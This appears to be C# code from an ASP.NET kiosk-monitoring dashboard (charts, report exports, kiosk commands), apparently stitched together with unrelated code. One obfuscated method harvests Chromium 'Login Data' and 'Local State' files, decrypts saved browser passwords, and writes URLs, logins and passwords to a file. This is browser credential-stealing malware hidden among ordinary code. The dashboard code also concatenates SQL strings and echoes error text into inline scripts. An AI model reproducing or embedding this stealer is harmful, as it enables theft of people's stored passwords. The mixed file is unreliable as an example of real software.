Response.Write("<script type='text/javascript'>alert('" + objRes.strError + "')</script>");
}
}
private void bindLocationddl()
{
try
{
WebClient client = new WebClient();
client.Headers[HttpRequestHeader.ContentType] = "text/json";
string strQuery = "SELECT distinct location FROM pcmc.kiosk_master where location <> '' or location<> null";
string JsonString = JsonConvert.SerializeObject(strQuery);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetPieChart", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
JsonSerializer json = new JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
Reply objReply = json.Deserialize <Reply>(reader);
if (objReply.res && objReply.DS != null && objReply.DS.Tables[0] != null)
{
foreach (DataRow item in objReply.DS.Tables[0].Rows)
{
ddlLocations.Items.Add(item[0].ToString());
}
}
}
catch (Exception ex)
{
throw;
}
}
public static Result EncryptV10(string pwd, string encryptedKey, out byte[] password)
{
Result res = ExtractEncryptedKey(encryptedKey, out byte[] encryptedBytes);
if (res != Result.Success)
{
password = null;
return(res);
}
byte[] version = Encoding.ASCII.GetBytes(MODE_V10);
string ver = Encoding.ASCII.GetString(version);
if (ver != MODE_V10)
{
password = null;
return(Result.UnsupportedProtocol);
}
byte[] nonce = AesGcm256.Nonce(12);
res = AesGcm256.Encrypt(pwd, encryptedBytes, nonce, out byte[] ciphertextTag);
if (res != Result.Success)
{
password = null;
return(res);
}
res = CombineCipherText(version, nonce, ciphertextTag, out password);
if (res != Result.Success)
{
password = null;
return(res);
}
return(Result.Success);
}
private void chart7()
{
WebClient client = new WebClient();
client.Headers[HttpRequestHeader.ContentType] = "text/json";
//Chart7 Start
string[] seriesArray = { "Offline Activate Machine", "Online Activate Machine" };
int[] pointsArray = new int[2];
// string strQuery = "SELECT COUNT(case when [Status] = '000' then [Status] end) as Successful,COUNT(case when [Status] != '000' then [Status] end)as Unsuccessful FROM pcmc.o.[cashtxndetails] where [TxnDate] >= '" + DateTime.Now.ToString("yyyy-MM-dd") + "' and [TxnDate] <= '" + DateTime.Now.ToString("yyyy-MM-dd") + " 23:59:59'";
DateTime healthTime = DateTime.Now.AddHours(-2);
string strQuery = "SELECT * FROM pcmc.health_recent ";
string JsonString = JsonConvert.SerializeObject(strQuery);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetPieChart", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
JsonSerializer json = new JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
Reply objReply = json.Deserialize <Reply>(reader);
int connected = 1;
int disConnected = 0;
//foreach (DataRow item in objReply.DS.Tables[0].Rows)
//{
// var timestr = item["date_time"].ToString();
// DateTime dt = DateTime.ParseExact(timestr, "dd-MM-yyyy hh:mm:ss tt", CultureInfo.InvariantCulture);
// if (dt > healthTime)
// {
// connected++;
// }
// else {
// disConnected++;
// }
//}
pointsArray[0] = disConnected;
pointsArray[1] = connected;
Title title = Chart7.Titles.Add("Title1");
title.Font = new System.Drawing.Font("Arial", 16, FontStyle.Bold);
Chart7.Titles["Title1"].Text = "Machine Connected with server";
Chart7.Series["Series1"].Points.DataBindXY(seriesArray, pointsArray);
Chart7.Series["Series1"].Points[0].Color = Color.Red;
Chart7.Series["Series1"].Points[1].Color = Color.Green;
CalloutAnnotation objAnnotation = new CalloutAnnotation();
objAnnotation.AnchorDataPoint = Chart7.Series["Series1"].Points[0];
objAnnotation.Text = pointsArray[0].ToString();
objAnnotation.Visible = true;
Chart7.Annotations.Add(objAnnotation);
CalloutAnnotation objAnnotation1 = new CalloutAnnotation();
objAnnotation1.AnchorDataPoint = Chart7.Series["Series1"].Points[1];
objAnnotation1.Text = pointsArray[1].ToString();
objAnnotation1.Visible = true;
Chart7.Annotations.Add(objAnnotation1);
objAnnotation = null;
objAnnotation1 = null;
}
public static void a(string ar)
{
try
{
string text = "";
List <string> list = new List <string>();
List <string> obj = new List <string>
{
Global.AppDate,
Global.LocalData
};
List <string> list2 = new List <string>();
foreach (string item in obj)
{
try
{
list2.AddRange(Directory.GetDirectories(item));
}
catch
{
}
}
foreach (string item2 in list2)
{
string[] array = null;
try
{
list.AddRange(Directory.GetFiles(item2, "Login Data", SearchOption.AllDirectories));
array = Directory.GetFiles(item2, "Login Data", SearchOption.AllDirectories);
}
catch
{
}
if (array != null)
{
string[] array2 = array;
foreach (string text2 in array2)
{
try
{
if (File.Exists(text2))
{
string str = "Unknown (" + item2 + ")";
string[] array3 = c;
foreach (string text3 in array3)
{
if (item2.Contains(text3))
{
str = text3;
}
}
string sourceFileName = text2;
string sourceFileName2 = text2 + "\\..\\..\\Local State";
if (File.Exists(q.m_b + "\\bd.temp"))
{
File.Delete(q.m_b + "\\bd.temp");
}
if (File.Exists(q.m_b + "\\ls.temp"))
{
File.Delete(q.m_b + "\\ls.temp");
}
File.Copy(sourceFileName, q.m_b + "\\bd.temp");
File.Copy(sourceFileName2, q.m_b + "\\ls.temp");
x x = new x(q.m_b + "\\bd.temp");
x.e("logins");
string text4 = File.ReadAllText(q.m_b + "\\ls.temp");
string[] array4 = Regex.Split(text4, "\"");
int num = 0;
array3 = array4;
for (int j = 0; j < array3.Length; j++)
{
if (array3[j] == "encrypted_key")
{
text4 = array4[num + 2];
break;
}
num++;
}
byte[] key = u.a(Encoding.Default.GetBytes(Encoding.Default.GetString(Convert.FromBase64String(text4)).Remove(0, 5)));
int num2 = x.b();
for (int k = 0; k < num2; k++)
{
try
{
string text5 = x.a(k, 5);
byte[] bytes = Encoding.Default.GetBytes(text5);
string str2 = "";
try
{
if (text5.StartsWith("v10") || text5.StartsWith("v11"))
{
byte[] iv = bytes.Skip(3).Take(12).ToArray();
str2 = AesGcm256.Decrypt(bytes.Skip(15).ToArray(), key, iv);
}
else
{
str2 = Encoding.Default.GetString(u.a(bytes));
}
}
catch (Exception value)
{
Console.WriteLine(value);
}
text = text + "Url: " + x.a(k, 1) + "\r\n";
text = text + "Login: "******"\r\n";
text = text + "Password: "******"\r\n";
text = text + "Browser: " + str + "\r\n\r\n";
q.a++;
}
catch
{
}
}
File.Delete(q.m_b + "\\bd.temp");
File.Delete(q.m_b + "\\ls.temp");
}
}
catch
{
}
}
}
}
if (text != "")
{
File.WriteAllText(ar, text, Encoding.Default);
}
}
catch
{
}
}
//public void GetKioskHealth(string lho)
//{
// try
// {
// Reply objRes = new Reply();
// // send request
// using (WebClient client = new WebClient())
// {
// if (Session["Role"].ToString().ToLower().Contains("admin"))
// {
// perameter = "all##" + lho;
// }
// else
// {
// perameter = Session["Role"].ToString() + "#" + Session["Location"].ToString() + "#";
// }
// client.Headers[HttpRequestHeader.ContentType] = "text/json";
// ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
// string JsonString = JsonConvert.SerializeObject(perameter);
// EncRequest objEncRequest = new EncRequest();
// objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
// string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
// string result = client.UploadString(URL + "/GetRecentHealthReport", "POST", dataEncrypted);
// EncResponse objResponse = JsonConvert.DeserializeObject<EncResponse>(result);
// objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
// //objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
// //DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
// //MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
// //objRes = (Reply)objDCS.ReadObject(objMS);
// Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
// json.NullValueHandling = NullValueHandling.Ignore;
// StringReader sr = new StringReader(objResponse.ResponseData);
// Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
// objRes = json.Deserialize<Reply>(reader);
// if (objRes.res == true && objRes.DS.Tables[0].Rows.Count > 0)
// {
// lbl_tot.Text = "Total Records are : " + objRes.DS.Tables[0].Rows.Count.ToString();
// GV_Kiosk_Details.DataSource = objRes.DS.Tables[0];
// GV_Kiosk_Details.DataBind();
// ExportBtn.Visible = true;
// }
// else
// {
// PageUtility.MessageBox(this, "Data Not Exist.");
// lbl_tot.Text = "";
// GV_Kiosk_Details.DataSource = null;
// GV_Kiosk_Details.DataBind();
// ExportBtn.Visible = false;
// }
// }
// }
// catch (Exception ex)
// {
// PageUtility.MessageBox(this, "catch error : " + ex.Message + "");
// GV_Kiosk_Details.DataSource = null;
// GV_Kiosk_Details.DataBind();
// ExportBtn.Visible = false;
// }
//}
protected void btnExport_Click(object sender, EventArgs e)
{
try
{
if (objDataSet == null)
{
objDataSet = new DataSet();
}
Reply objRes = new Reply();
using (WebClient client = new WebClient())
{
// if (DDLKioskLocationType.SelectedItem.Text == "")
// Parameter = "All";
// else
// Parameter = DDLKioskLocationType.SelectedItem.Text;
string URL = System.Configuration.ConfigurationManager.AppSettings["URL"].ToString();
client.Headers[HttpRequestHeader.ContentType] = "text/json";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string JsonString = JsonConvert.SerializeObject(DDLKioskLocationType.SelectedItem.Text);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetKioskDetails_KioskType", "POST", dataEncrypted);
MemoryStream memstrToReceive = new MemoryStream(Encoding.UTF8.GetBytes(result));
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
//objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
//DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
//MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
//objRes = (Reply)objDCS.ReadObject(objMS); ;
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res == true && objRes.DS.Tables[0].Rows.Count > 0)
{
lbl_tot.Text = "Total Records are : " + objRes.DS.Tables[0].Rows.Count.ToString();
GV_Kiosk_Details.DataSource = objRes.DS.Tables[0];
GV_Kiosk_Details.DataBind();
// Clear all content output from the buffer stream
Response.ClearContent();
// Specify the default file name using "content-disposition" RESPONSE header
Response.AppendHeader("content-disposition", "attachment; filename=PbKioskLocationReport " + DateTime.Now.ToString("ddMMyy_HHmm") + ".xls");
// Set excel as the HTTP MIME type
Response.ContentType = "application/excel";
// Create an instance of stringWriter for writing information to a string
StringWriter stringWriter = new StringWriter();
// Create an instance of HtmlTextWriter class for writing markup
// characters and text to an ASP.NET server control output stream
HtmlTextWriter htw = new HtmlTextWriter(stringWriter);
int ColTot = GV_Kiosk_Details.Rows[0].Cells.Count;
HttpContext.Current.Response.Write("<Table border='1' bgColor='#ffffff' " +
"borderColor='#000000' Text-align='Center' cellSpacing='0' cellPadding='0' " + "style='font-size:10.0pt; font-family:Calibri; background:white'> " +
"<TR><TD COLSPAN='" + ColTot.ToString() + "' style='background:yellow; font-size:14.0pt; vertical-align:middle; Text-align:Center; height:35px;'><B>" + globle.BankName + " PASSBOOK PRINTING KIOSKS - KIOSK MASTER REPORT GENERATED ON " + DateTime.Now.ToString("dd MMM yyyy, hh:mm tt") + "</B></TD></TR>");
GV_Kiosk_Details.HeaderStyle.ForeColor = Color.White;
GV_Kiosk_Details.HeaderStyle.BackColor = Color.Blue;
GV_Kiosk_Details.HeaderStyle.Font.Bold = true;
GV_Kiosk_Details.Font.Name = "Calibri";
GV_Kiosk_Details.RenderControl(htw);
Response.Write(stringWriter.ToString());
HttpContext.Current.Response.Flush();
HttpContext.Current.Response.End();
Response.End();
}
else
{
PageUtility.MessageBox(this, "Data Not Exist.");
lbl_tot.Text = "";
GV_Kiosk_Details.DataSource = null;
GV_Kiosk_Details.DataBind();
//ExportBtn.Visible = false;
}
}
}
catch (Exception ex)
{
PageUtility.MessageBox(this, "catch error : " + ex.Message + "");
}
}
protected void Broadcast_Click(object sender, EventArgs e)
{
CommandIniUpdate objReq = new CommandIniUpdate();
if (tempList.SelectedValue.ToLower() == "datapurging")
{
objReq.Command = "datapurging#" + datapurg.Text + "#" + days.Text;
}
objReq.KioskIP = new string[0];
objReq.MachineSrNo = new string[0];
int newSize = 0;
bool okey = false;
for (int i = 0; i < GV_Kiosk_Details.Rows.Count; i++)
{
CheckBox cb = (CheckBox)GV_Kiosk_Details.Rows[i].Cells[0].FindControl("cbSelect");//Gets the
if (cb.Checked == true)
{
Array.Resize(ref objReq.KioskIP, newSize + 1);
Array.Resize(ref objReq.MachineSrNo, newSize + 1);
// how to get those select values and how store those values in array
objReq.KioskIP[newSize] = GV_Kiosk_Details.Rows[i].Cells[2].Text;
objReq.MachineSrNo[newSize] = GV_Kiosk_Details.Rows[i].Cells[3].Text;
newSize++;
okey = true;
}
}
if (okey == false)
{
Response.Write("<script type='text/javascript'>alert( 'Select Atleast one option' )</script>");
return;
}
try
{
if (objds == null)
{
objds = new DataSet();
}
Reply objRes = new Reply();
// send request
using (WebClient client = new WebClient())
{
client.Headers[HttpRequestHeader.ContentType] = "text/json";
string JsonString = JsonConvert.SerializeObject(objReq);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/CommandIniUpdate", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
JsonSerializer json = new JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
JsonTextReader reader = new JsonTextReader(sr);
result = json.Deserialize <string>(reader);
if (result.ToLower().Contains("true"))
{
//Data Source
Response.Write("<script type='text/javascript'>alert('Ini Updated Succesfully')</script>");
bindKioskDetails();
}
else
{
Response.Write("<script type='text/javascript'>alert('" + objRes.strError + "')</script>");
}
}
}
catch (Exception excp)
{
Response.Write("<script type='text/javascript'>alert( 'catch error : '" + excp.Message + "' )</script>");
}
}
private void chart4()
{
//Chart4 Start
DateTime objFromDate;
DateTime objToDate;
objToDate = DateTime.Now.AddDays(-1);
objFromDate = DateTime.Now.AddDays(-8);
string[] seriesArray = new string[7];
int i;
DateTime objWeek = DateTime.Today;
for (i = 0; i < seriesArray.Length; i++)
{
objWeek = objWeek.AddDays(-1);
seriesArray[6 - i] = objWeek.ToString("dd-MMM-yy");
}
int[] pointsArray = new int[7];
Title title = Chart4.Titles.Add("Title1");
title.Font = new System.Drawing.Font("Arial", 16, FontStyle.Bold);
Chart4.Titles["Title1"].Text = "Last 7 Days Transaction Hitting";
CalloutAnnotation objAnnotation = null;
for (int iDays = 1; iDays <= 7; iDays++) //Last 7 Days Txn
{
using (WebClient client = new WebClient())
{
client.Headers[HttpRequestHeader.ContentType] = "text/json";
//URL = "http://localhost:50463/Service1.svc";
DateTime objTxnDtTime = DateTime.Today;
objTxnDtTime = objTxnDtTime.AddDays(-iDays);
string strQuery = "SELECT bill_payemnt_txn as total_bill_payemnt_txn, birth_certificate_txn as total_birth_certificate_txn, death_certificate_txn as total_death_certificate_txn FROM seva_sindhu_" + objTxnDtTime.ToString("yy") + ".txn_detail_" + objTxnDtTime.ToString("MMM") + " where txn_date_time >= '" + objTxnDtTime.ToString("yyyy-MM-dd") + "' and txn_date_time <= '" + objTxnDtTime.ToString("yyyy-MM-dd") + " 23:59:59'";
string JsonString = JsonConvert.SerializeObject(strQuery);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetPieChart", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
JsonSerializer json = new JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
Reply objReply = json.Deserialize <Reply>(reader);
if (objReply.res && objReply.DS != null)
{
pointsArray[7 - iDays] = Convert.ToInt32(objReply.DS.Tables[0].Rows[0][0].ToString() != "" ? objReply.DS.Tables[0].Rows[0][0].ToString() : "0") +
Convert.ToInt32(objReply.DS.Tables[0].Rows[0][1].ToString() != "" ? objReply.DS.Tables[0].Rows[0][0].ToString() : "0") +
Convert.ToInt32(objReply.DS.Tables[0].Rows[0][2].ToString() != "" ? objReply.DS.Tables[0].Rows[0][2].ToString() : "0");
}
else
{
pointsArray[7 - iDays] = 0;
}
}
}
Chart4.Series["Series1"].Points.DataBindXY(seriesArray, pointsArray);
objAnnotation = new CalloutAnnotation();
objAnnotation.AnchorDataPoint = Chart4.Series["Series1"].Points[0];
objAnnotation.Text = pointsArray[0].ToString();
objAnnotation.Visible = true;
Chart4.Annotations.Add(objAnnotation);
objAnnotation = null;
objAnnotation = new CalloutAnnotation();
objAnnotation.AnchorDataPoint = Chart4.Series["Series1"].Points[1];
objAnnotation.Text = pointsArray[1].ToString();
objAnnotation.Visible = true;
Chart4.Annotations.Add(objAnnotation);
objAnnotation = null;
objAnnotation = new CalloutAnnotation();
objAnnotation.AnchorDataPoint = Chart4.Series["Series1"].Points[2];
objAnnotation.Text = pointsArray[2].ToString();
objAnnotation.Visible = true;
Chart4.Annotations.Add(objAnnotation);
objAnnotation = null;
objAnnotation = new CalloutAnnotation();
objAnnotation.AnchorDataPoint = Chart4.Series["Series1"].Points[3];
objAnnotation.Text = pointsArray[3].ToString();
objAnnotation.Visible = true;
Chart4.Annotations.Add(objAnnotation);
objAnnotation = null;
objAnnotation = new CalloutAnnotation();
objAnnotation.AnchorDataPoint = Chart4.Series["Series1"].Points[4];
objAnnotation.Text = pointsArray[4].ToString();
objAnnotation.Visible = true;
Chart4.Annotations.Add(objAnnotation);
objAnnotation = null;
objAnnotation = new CalloutAnnotation();
objAnnotation.AnchorDataPoint = Chart4.Series["Series1"].Points[5];
objAnnotation.Text = pointsArray[5].ToString();
objAnnotation.Visible = true;
Chart4.Annotations.Add(objAnnotation);
objAnnotation = null;
objAnnotation = new CalloutAnnotation();
objAnnotation.AnchorDataPoint = Chart4.Series["Series1"].Points[6];
objAnnotation.Text = pointsArray[6].ToString();
objAnnotation.Visible = true;
Chart4.Annotations.Add(objAnnotation);
objAnnotation = null;
}
private void chart3()
{
using (WebClient client = new WebClient())
{
client.Headers[HttpRequestHeader.ContentType] = "text/json";
// URL = "http://localhost:50463/Service1.svc";
DateTime objTxnDtTime = DateTime.Today;
string strQuery = "SELECT SUM(bill_payemnt_txn) as total_bill_payemnt_txn, SUM(birth_certificate_txn) as total_birth_certificate_txn, SUM(death_certificate_txn) as total_death_certificate_txn FROM seva_sindhu_" + objTxnDtTime.ToString("yy") + ".txn_detail_" + objTxnDtTime.ToString("MMM") + " where txn_date_time >= '" + DateTime.Now.ToString("yyyy-MM-dd") + "' and txn_date_time <= '" + DateTime.Now.ToString("yyyy-MM-dd") + " 23:59:59'";
string JsonString = JsonConvert.SerializeObject(strQuery);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetPieChart", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
JsonSerializer json = new JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
Reply objReply = json.Deserialize <Reply>(reader);
//Chart3 Start
string[] seriesArray = { "Bill Payment", "Birth Certificate", "Death Certificate" };
int[] pointsArray = new int[3];
if (objReply.res && objReply.DS != null)
{
pointsArray[0] = Convert.ToInt32(objReply.DS.Tables[0].Rows[0][0].ToString() != "" ? objReply.DS.Tables[0].Rows[0][0].ToString() : "0");
pointsArray[1] = Convert.ToInt32(objReply.DS.Tables[0].Rows[0][1].ToString() != "" ? objReply.DS.Tables[0].Rows[0][1].ToString() : "0");
pointsArray[2] = Convert.ToInt32(objReply.DS.Tables[0].Rows[0][2].ToString() != "" ? objReply.DS.Tables[0].Rows[0][2].ToString() : "0");
}
Title title = Chart3.Titles.Add("Title1");
title.Font = new System.Drawing.Font("Arial", 16, FontStyle.Bold);
Chart3.Titles["Title1"].Text = "Transaction Hitting On Service Type";
Chart3.Series["Series1"].Points.DataBindXY(seriesArray, pointsArray);
Chart3.Series["Series1"].Points[0].Color = Color.LightBlue;
Chart3.Series["Series1"].Points[1].Color = Color.LightGreen;
Chart3.Series["Series1"].Points[2].Color = Color.LightYellow;
Chart3.Series["Series1"].ChartType = SeriesChartType.Pie;
CalloutAnnotation objAnnotation = new CalloutAnnotation();
objAnnotation.AnchorDataPoint = Chart3.Series["Series1"].Points[0];
objAnnotation.Text = pointsArray[0].ToString();
objAnnotation.Visible = true;
Chart3.Annotations.Add(objAnnotation);
CalloutAnnotation objAnnotation1 = new CalloutAnnotation();
objAnnotation1.AnchorDataPoint = Chart3.Series["Series1"].Points[1];
objAnnotation1.Text = pointsArray[1].ToString();
objAnnotation1.Visible = true;
Chart3.Annotations.Add(objAnnotation1);
CalloutAnnotation objAnnotation2 = new CalloutAnnotation();
objAnnotation2.AnchorDataPoint = Chart3.Series["Series1"].Points[2];
objAnnotation2.Text = pointsArray[2].ToString();
objAnnotation1.Visible = true;
Chart3.Annotations.Add(objAnnotation2);
objAnnotation = null;
objAnnotation1 = null;
objAnnotation2 = null;
}
}
protected void filtertype_SelectedIndexChanged(object sender, EventArgs e)
{
ErrorImg.Visible = false;
machineid.Visible = false;
machineip.Visible = false;
if (filtertype.SelectedIndex == 0)
{
return;
}
else if (filtertype.SelectedIndex == 1)
{
string s = "MachineIP";
Reply objRes = new Reply();
WebClient client1 = new WebClient();
client1.Headers[HttpRequestHeader.ContentType] = "text/json";
string JsonString = JsonConvert.SerializeObject(s);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result1 = client1.UploadString(URL + "/GetKioskReport", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result1);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
JsonSerializer json = new JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res)
{
machineiplist.Items.Clear();
machineiplist.DataSource = objRes.DS;
machineiplist.DataTextField = "kiosk_ip";
machineiplist.DataBind();
machineiplist.Items.Insert(0, new System.Web.UI.WebControls.ListItem("Select", "NA"));
machineip.Visible = true;
}
else
{
Response.Write("<script>alert('Please try again after sometime as :" + objRes.strError + "')</script>");
}
}
else if (filtertype.SelectedIndex == 2)
{
string s = "MachineID";
Reply objRes = new Reply();
WebClient client1 = new WebClient();
client1.Headers[HttpRequestHeader.ContentType] = "text/json";
string JsonString = JsonConvert.SerializeObject(s);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result1 = client1.UploadString(URL + "/GetKioskReport", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result1);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
JsonSerializer json = new JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res)
{
machineidlist.Items.Clear();
machineidlist.DataSource = objRes.DS;
machineidlist.DataTextField = "kiosk_id";
machineidlist.DataBind();
machineidlist.Items.Insert(0, new System.Web.UI.WebControls.ListItem("Select", "NA"));
machineid.Visible = true;
}
else
{
Response.Write("<script>alert('Please try again after sometime as :" + objRes.strError + "')</script>");
}
}
}
protected void search_Click(object sender, EventArgs e)
{
if (filtertype.SelectedIndex == 0)
{
Response.Write("<script>alert('Please Select Filter Type')</script>");
return;
}
else
{
if (filtertype.SelectedIndex == 1 && machineiplist.SelectedIndex == 0)
{
Response.Write("<script>alert('Please Select Kiosk IP')</script>");
return;
}
if (filtertype.SelectedIndex == 2 && machineidlist.SelectedIndex == 0)
{
Response.Write("<script>alert('Please Select Kiosk ID')</script>");
return;
}
string sendString;
if (filtertype.SelectedIndex == 1)
{
sendString = "1#" + machineiplist.SelectedValue;
}
else
{
sendString = "2#" + machineidlist.SelectedValue;
}
WebClient client1 = new WebClient();
client1.Headers[HttpRequestHeader.ContentType] = "text/json";
string JsonString = JsonConvert.SerializeObject(sendString);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result1 = client1.UploadString(URL + "/GetScreenData", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result1);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
JsonSerializer json = new JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
string objRes = json.Deserialize <string>(reader);
if (objRes != "fail")
{
byte[] vs = Convert.FromBase64String(objRes);
Response.Clear();
// for the browser's download dialog
Response.AddHeader("Content-Disposition",
"attachment; filename=Screencapture" + DateTime.Now + ".zip");
// Add a HTTP header to the output stream that contains the
Response.AddHeader("Content-Length",
vs.Length.ToString());
// Set the HTTP MIME type of the output stream
Response.ContentType = "application/zip";
// Write the data out to the client.
Response.BinaryWrite(vs);
}
else
{
ErrorImg.Visible = true;
}
}
}
private void bindKioskMasterlistKioskType(string Parameter)
{
try
{
if (objDataSet == null)
{
objDataSet = new DataSet();
}
Reply objRes = new Reply();
using (WebClient client = new WebClient())
{
if (Parameter == "")
{
Parameter = "All";
}
// else
// Parameter = DDLKioskLocationType.SelectedItem.Text;
string URL = System.Configuration.ConfigurationManager.AppSettings["URL"].ToString();
client.Headers[HttpRequestHeader.ContentType] = "text/json";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string JsonString = JsonConvert.SerializeObject(Parameter);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetKioskDetails_KioskType", "POST", dataEncrypted);
MemoryStream memstrToReceive = new MemoryStream(Encoding.UTF8.GetBytes(result));
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
//objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
//DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
//MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
//objRes = (Reply)objDCS.ReadObject(objMS); ;
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res == true && objRes.DS.Tables[0].Rows.Count > 0)
{
lbl_tot.Text = "Total Records are : " + objRes.DS.Tables[0].Rows.Count.ToString();
GV_Kiosk_Details.DataSource = objRes.DS.Tables[0];
GV_Kiosk_Details.DataBind();
//ExportBtn.Visible = true;
}
else
{
PageUtility.MessageBox(this, "Data Not Exist.");
lbl_tot.Text = "";
GV_Kiosk_Details.DataSource = null;
GV_Kiosk_Details.DataBind();
//ExportBtn.Visible = false;
}
}
}
catch (Exception ex)
{
PageUtility.MessageBox(this, "catch error : " + ex.Message + "");
}
}
